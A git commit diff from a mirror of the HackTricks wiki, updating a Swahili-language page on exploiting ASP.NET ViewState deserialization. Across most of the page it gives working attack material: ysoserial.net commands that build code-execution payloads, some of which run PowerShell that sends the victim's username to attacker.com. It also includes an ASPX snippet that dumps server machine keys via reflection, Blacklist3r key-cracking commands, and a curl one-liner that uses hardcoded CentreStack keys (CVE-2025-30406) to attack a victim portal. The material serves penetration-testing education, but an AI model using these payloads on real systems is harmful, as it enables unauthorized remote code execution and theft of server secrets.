mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
Translator
parent
5a03e06080
commit
d585766a62
@ -22,13 +22,13 @@ Taarifa za ViewState zinaweza kuainishwa kwa mali zifuatazo au mchanganyiko wao:
|
||||
Picha ni jedwali linaloelezea usanidi tofauti wa ViewState katika ASP.NET kulingana na toleo la mfumo wa .NET. Hapa kuna muhtasari wa maudhui:
|
||||
|
||||
1. Kwa **toleo lolote la .NET**, wakati MAC na Ufunguo zimezimwa, MachineKey haitahitajika, na hivyo hakuna njia inayofaa ya kuibaini.
|
||||
2. Kwa **matoleo chini ya 4.5**, ikiwa MAC imewezeshwa lakini Ufunguo haujawekwa, MachineKey inahitajika. Njia ya kuibaini MachineKey inajulikana kama "Blacklist3r."
|
||||
2. Kwa **matoleo chini ya 4.5**, ikiwa MAC imewezeshwa lakini Ufunguo haujawezeshwa, MachineKey inahitajika. Njia ya kuibaini MachineKey inajulikana kama "Blacklist3r."
|
||||
3. Kwa **matoleo chini ya 4.5**, bila kujali ikiwa MAC imewezeshwa au kuzimwa, ikiwa Ufunguo umewezeshwa, MachineKey inahitajika. Kuibaini MachineKey ni kazi ya "Blacklist3r - Maendeleo ya Baadaye."
|
||||
4. Kwa **matoleo 4.5 na juu**, mchanganyiko wote wa MAC na Ufunguo (iwe zote ni za kweli, au moja ni ya kweli na nyingine ni ya uongo) yanahitaji MachineKey. MachineKey inaweza kuibainishwa kwa kutumia "Blacklist3r."
|
||||
|
||||
### Mfano wa Mtihani: 1 – EnableViewStateMac=false na viewStateEncryptionMode=false
|
||||
|
||||
Pia inawezekana kuzima ViewStateMAC kabisa kwa kuweka funguo ya rejista ya `AspNetEnforceViewStateMac` kuwa sifuri katika:
|
||||
Pia inawezekana kuzima ViewStateMAC kabisa kwa kuweka funguo ya rejista `AspNetEnforceViewStateMac` kuwa sifuri katika:
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
@ -41,8 +41,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
### Test case 1.5 – Kama Test case 1 lakini cookie ya ViewState haitumwi na seva
|
||||
|
||||
Wakandarasi wanaweza **kuondoa ViewState** ili isiwe sehemu ya Ombi la HTTP (mtumiaji hatapokea cookie hii).\
|
||||
Mtu anaweza kudhani kwamba ikiwa **ViewState** haipo, utekelezaji wao ni **salama** kutokana na udhaifu wowote unaoweza kutokea kutokana na deserialization ya ViewState.\
|
||||
Hata hivyo, hiyo si hali halisi. Ikiwa tuta **ongeza parameter ya ViewState** kwenye mwili wa ombi na kutuma payload yetu iliyosajiliwa iliyoundwa kwa kutumia ysoserial, bado tutakuwa na uwezo wa kufikia **utendaji wa msimbo** kama inavyoonyeshwa katika **Case 1**.
|
||||
Mtu anaweza kudhani kwamba ikiwa **ViewState** haipo, utekelezaji wao ni **salama** kutokana na udhaifu wowote unaoweza kutokea na deserialization ya ViewState.\
|
||||
Hata hivyo, hiyo si hali halisi. Ikiwa tuta **ongeza parameter ya ViewState** kwenye mwili wa ombi na kutuma payload yetu iliyosimbwa iliyoundwa kwa kutumia ysoserial, bado tutakuwa na uwezo wa kufikia **utendaji wa msimbo** kama inavyoonyeshwa katika **Case 1**.
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 na EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
@ -96,31 +96,31 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||
|
||||
|
||||
Ikiwa umefanikiwa na ufunguo umepatikana, unaweza kuendelea na shambulio ukitumia [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||||
Ikiwa umefanikiwa na funguo imepatikana, unaweza kuendelea na shambulio ukitumia [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||
```
|
||||
Katika hali ambapo parameter ya `_VIEWSTATEGENERATOR` **haitumwi** na seva hu **hitaji** kutoa parameter ya `--generator` **bali hizi**:
|
||||
Katika hali ambapo parameter ya `_VIEWSTATEGENERATOR` **haitumwi** na seva, **huhitaji** kutoa parameter ya `--generator` **bali hizi**:
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
### Test Case: 3 – .Net < 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true
|
||||
|
||||
Katika hii haijulikani kama parameter inalindwa na MAC. Basi, thamani hiyo labda imefungwa na utahitaji **Machine Key ili kufunga payload yako** ili kutumia udhaifu huo.
|
||||
Katika hii haijulikani kama parameter inalindwa na MAC. Hivyo, thamani hiyo labda imeandikwa kwa siri na utahitaji **Machine Key ili kuandika payload yako** ili kutumia udhaifu huo.
|
||||
|
||||
**Katika kesi hii** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **moduli iko katika maendeleo...**
|
||||
|
||||
**Kabla ya .NET 4.5**, ASP.NET inaweza **kubali** \_`__VIEWSTATE`\_parameter **isiyo na usimbuaji** kutoka kwa watumiaji **hata** kama **`ViewStateEncryptionMode`** imewekwa kuwa _**Daima**_. ASP.NET **inaangalia tu** **uwepo** wa **`__VIEWSTATEENCRYPTED`** parameter katika ombi. **Ikiwa mtu atafuta parameter hii, na kutuma payload isiyo na usimbuaji, bado itashughulikiwa.**
|
||||
**Kabla ya .NET 4.5**, ASP.NET inaweza **kubali** \_`__VIEWSTATE`\_parameter **isiyoandikwa kwa siri** kutoka kwa watumiaji **hata** kama **`ViewStateEncryptionMode`** imewekwa kuwa _**Daima**_. ASP.NET **inaangalia tu** **uwepo** wa **`__VIEWSTATEENCRYPTED`** parameter katika ombi. **Ikiwa mtu atafuta parameter hii, na kutuma payload isiyoandikwa kwa siri, bado itashughulikiwa.**
|
||||
|
||||
Hivyo basi ikiwa washambuliaji wataweza kupata Machinekey kupitia udhaifu mwingine kama vile file traversal, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) amri iliyotumika katika **Kesi ya 2**, inaweza kutumika kufanya RCE kwa kutumia udhaifu wa deserialization wa ViewState.
|
||||
Hivyo, ikiwa washambuliaji wataweza kupata Machinekey kupitia udhaifu mwingine kama vile file traversal, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) amri iliyotumika katika **Kesi ya 2**, inaweza kutumika kufanya RCE kwa kutumia udhaifu wa deserialization wa ViewState.
|
||||
|
||||
- Ondoa parameter `__VIEWSTATEENCRYPTED` kutoka kwa ombi ili kutumia udhaifu wa deserialization wa ViewState, vinginevyo itarudisha kosa la uthibitishaji wa Viewstate MAC na udhaifu utafaulu.
|
||||
- Ondoa parameter `__VIEWSTATEENCRYPTED` kutoka kwa ombi ili kutumia udhaifu wa deserialization wa ViewState, vinginevyo itarudisha kosa la uthibitisho wa Viewstate MAC na udhaifu utafaulu.
|
||||
|
||||
### Test Case: 4 – .Net >= 4.5 and EnableViewStateMac=true/false and ViewStateEncryptionMode=true/false except both attribute to false
|
||||
|
||||
Tunaweza kulazimisha matumizi ya mfumo wa ASP.NET kwa kubainisha parameter iliyo hapa chini ndani ya faili ya web.config kama inavyoonyeshwa hapa chini.
|
||||
Tunaweza kulazimisha matumizi ya mfumo wa ASP.NET kwa kubainisha parameter ifuatayo ndani ya faili ya web.config kama inavyoonyeshwa hapa chini.
|
||||
```xml
|
||||
<httpRuntime targetFramework="4.5" />
|
||||
```
|
||||
@ -130,7 +130,7 @@ compatibilityMode="Framework45"
|
||||
```
|
||||
Kama ilivyo katika ya awali, **thamani imefungwa.** Kisha, ili kutuma **payload halali, mshambuliaji anahitaji funguo.**
|
||||
|
||||
Unaweza kujaribu kutumia [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)kutafuta funguo inayotumika:
|
||||
Unaweza kujaribu kutumia [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) ili kupata funguo inayotumika:
|
||||
```
|
||||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
|
||||
|
||||
@ -147,7 +147,7 @@ python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6
|
||||
```
|
||||
|
||||
|
||||
Mara tu funguo halali la Mashine linapopatikana, **hatua inayofuata ni kuzalisha payload iliyosajiliwa kwa kutumia** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
Mara tu funguo la Mashine halali linapojulikana, **hatua inayofuata ni kuunda payload iliyosimbwa kwa kutumia** [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
```
|
||||
@ -155,24 +155,24 @@ Ikiwa una thamani ya `__VIEWSTATEGENERATOR` unaweza kujaribu **kutumia** paramet
|
||||
|
||||
|
||||
|
||||
Kufanikiwa kwa kutumia udhaifu wa deserialization ya ViewState kutasababisha ombi la nje ya bendi kwa seva inayodhibitiwa na mshambuliaji, ambayo inajumuisha jina la mtumiaji. Aina hii ya exploit inaonyeshwa katika uthibitisho wa dhana (PoC) ambayo inaweza kupatikana kupitia rasilimali iliyo na kichwa "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Kwa maelezo zaidi juu ya jinsi mchakato wa unyakuzi unavyofanya kazi na jinsi ya kutumia zana kama Blacklist3r kwa kutambua MachineKey, unaweza kupitia [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
Kufanikiwa kwa kutumia udhaifu wa deserialization wa ViewState kutasababisha ombi la nje ya mtandao kwa seva inayodhibitiwa na mshambuliaji, ambayo inajumuisha jina la mtumiaji. Aina hii ya exploit inaonyeshwa katika uthibitisho wa dhana (PoC) ambayo inaweza kupatikana kupitia rasilimali iliyo na kichwa "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Kwa maelezo zaidi juu ya jinsi mchakato wa unyakuzi unavyofanya kazi na jinsi ya kutumia zana kama Blacklist3r kwa kutambua MachineKey, unaweza kupitia [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
|
||||
### Test Case 6 – ViewStateUserKeys inatumika
|
||||
|
||||
Mali ya **ViewStateUserKey** inaweza kutumika **kulinda** dhidi ya **CSRF attack**. Ikiwa funguo kama hizo zimewekwa katika programu na tunajaribu kuunda payload ya **ViewState** kwa kutumia mbinu zilizozungumziwa hadi sasa, **payload haitashughulikiwa na programu**.\
|
||||
Mali ya **ViewStateUserKey** inaweza kutumika **kulinda** dhidi ya **CSRF attack**. Ikiwa funguo kama hiyo imewekwa katika programu na tunajaribu kuunda payload ya **ViewState** kwa kutumia mbinu zilizozungumziwa hadi sasa, **payload haitashughulikiwa na programu**.\
|
||||
Unahitaji kutumia parameter moja zaidi ili kuunda payload kwa usahihi:
|
||||
```bash
|
||||
--viewstateuserkey="randomstringdefinedintheserver"
|
||||
```
|
||||
### Matokeo ya Utekelezaji Uliofanikiwa <a href="#poc" id="poc"></a>
|
||||
|
||||
Kwa kesi zote za mtihani, ikiwa payload ya ViewState YSoSerial.Net inafanya kazi **kwa mafanikio** basi seva inajibu na “**500 Internal server error**” ikiwa na maudhui ya majibu “**Taarifa ya hali si halali kwa ukurasa huu na inaweza kuwa imeharibika**” na tunapata ombi la OOB.
|
||||
Kwa kesi zote za majaribio, ikiwa payload ya ViewState YSoSerial.Net inafanya kazi **kwa mafanikio** basi seva inajibu na “**500 Internal server error**” ikiwa na maudhui ya majibu “**Taarifa ya hali si halali kwa ukurasa huu na inaweza kuwa imeharibika**” na tunapata ombi la OOB.
|
||||
|
||||
Angalia [maelezo zaidi hapa](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
### Kutupa Funguo za Mashine za ASP.NET kupitia Reflection (SharPyShell/SharePoint ToolShell)
|
||||
|
||||
Wavamizi ambao wanaweza **kupakia au kutekeleza msimbo wa ASPX wa kiholela** ndani ya mizizi ya wavuti ya lengo wanaweza moja kwa moja kupata funguo za siri zinazolinda `__VIEWSTATE` badala ya kuzitafutia kwa nguvu.
|
||||
Washambuliaji ambao wanaweza **kupakia au kutekeleza msimbo wa ASPX wa kiholela** ndani ya mzizi wa wavuti wa lengo wanaweza moja kwa moja kupata funguo za siri zinazolinda `__VIEWSTATE` badala ya kuzitafutia kwa nguvu.
|
||||
Payload ndogo inayovuja funguo inatumia madarasa ya ndani ya .NET kupitia reflection:
|
||||
```csharp
|
||||
<%@ Import Namespace="System.Web.Configuration" %>
|
||||
@ -189,7 +189,7 @@ Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.C
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Kuomba ukurasa kunachapisha **ValidationKey**, **DecryptionKey**, algorithm ya usimbuaji na hali ya ulinganifu ya ASP.NET. Thamani hizi sasa zinaweza kuingizwa moja kwa moja kwenye **ysoserial.net** ili kuunda gadget halali, iliyosainiwa `__VIEWSTATE`:
|
||||
Kuomba ukurasa kunachapisha **ValidationKey**, **DecryptionKey**, algorithm ya usimbuaji na hali ya ulinganifu ya ASP.NET. Thamani hizi sasa zinaweza kuingizwa moja kwa moja kwenye **ysoserial.net** ili kuunda gadget halali, iliyosainiwa ya `__VIEWSTATE`:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
||||
-c "powershell -nop -c \"whoami\"" \
|
||||
@ -201,8 +201,46 @@ curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||||
```
|
||||
Hii **key-exfiltration primitive** ilitumiwa kwa wingi dhidi ya seva za SharePoint za ndani mwaka 2025 ("ToolShell" – CVE-2025-53770/53771), lakini inatumika kwa programu yoyote ya ASP.NET ambapo mshambuliaji anaweza kukimbia msimbo wa upande wa seva.
|
||||
|
||||
## References
|
||||
## 2024-2025 Mifano ya Uhalifu wa Kweli na Funguo za Mashine Zilizowekwa kwa Nguvu
|
||||
|
||||
### Mawimbi ya “funguo za mashine zilizotangazwa hadharani” za Microsoft (Desemba 2024 – Februari 2025)
|
||||
Microsoft Threat Intelligence iliripoti matumizi mabaya ya tovuti za ASP.NET ambapo *machineKey* ilikuwa imetolewa kwenye vyanzo vya umma (GitHub gists, machapisho ya blogu, tovuti za paste). Maadui walihesabu funguo hizi na kuzalisha vifaa halali vya `__VIEWSTATE` kwa kutumia `ysoserial.net` 1.41 `--minify` na `--islegacy` flags ili kuepuka mipaka ya urefu wa WAF:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate -c "whoami" \
|
||||
--validationkey=<LEAKED_VALIDATION_KEY> --validationalg=SHA1 \
|
||||
--decryptionkey=<LEAKED_DECRYPTION_KEY> --decryptionalg=AES \
|
||||
--generator=<VIEWSTATEGEN> --minify
|
||||
```
|
||||
Kugeuza funguo za kudumu au kubadilisha kuwa *AutoGenerate* funguo katika Web .config (`<machineKey ... validationKey="AutoGenerate" decryptionKey="AutoGenerate" />`) hupunguza aina hii ya mashambulizi. {{#ref}}
|
||||
|
||||
{{#endref}}
|
||||
|
||||
### CVE-2025-30406 – Funguo za kudumu za Gladinet CentreStack / Triofox
|
||||
Kudelski Security iligundua kwamba toleo nyingi za CentreStack / Triofox zilikuwa na thamani sawa za `machineKey`, zikiharakisha utekelezaji wa msimbo wa mbali usio na uthibitisho kupitia udanganyifu wa ViewState (CVE-2025-30406).
|
||||
|
||||
Mshambulizi wa mstari mmoja:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc.exe" \
|
||||
--validationkey=ACC97055B2A494507D7D7C92DC1C854E8EA7BF4C \
|
||||
--validationalg=SHA1 \
|
||||
--decryptionkey=1FB1DEBB8B3B492390B2ABC63E6D1B53DC9CA2D7 \
|
||||
--decryptionalg=AES --generator=24D41AAB --minify \
|
||||
| curl -d "__VIEWSTATE=$(cat -)" http://victim/portal/loginpage.aspx
|
||||
```
|
||||
Imerekebishwa katika CentreStack 16.4.10315.56368 / Triofox 16.4.10317.56372 – sasisha au badilisha funguo mara moja. {{#ref}}
|
||||
|
||||
|
||||
{{#endref}}
|
||||
|
||||
## Marejeleo
|
||||
|
||||
- [Exploiting ViewState deserialization using Blacklist3r and YSoSerial.NET](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [Deep dive into .NET ViewState deserialization and its exploitation](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [Exploiting deserialisation in ASP.NET via ViewState (Soroush Dalili, 2019)](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [Introducing badsecrets – fast machineKey discovery](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
|
||||
- [Microsoft Security – Code injection attacks abusing publicly disclosed ASP.NET machine keys (Feb 6 2025)](https://www.microsoft.com/en-us/security/blog/2025/02/06/code-injection-attacks-using-publicly-disclosed-asp-net-machine-keys/)
|
||||
- [Kudelski Security advisory – Gladinet CentreStack / Triofox RCE CVE-2025-30406 (Apr 16 2025)](https://research.kudelskisecurity.com/2025/04/16/gladinet-centrestack-and-gladinet-triofox-critical-rce-cve-2025-30406/)
|
||||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user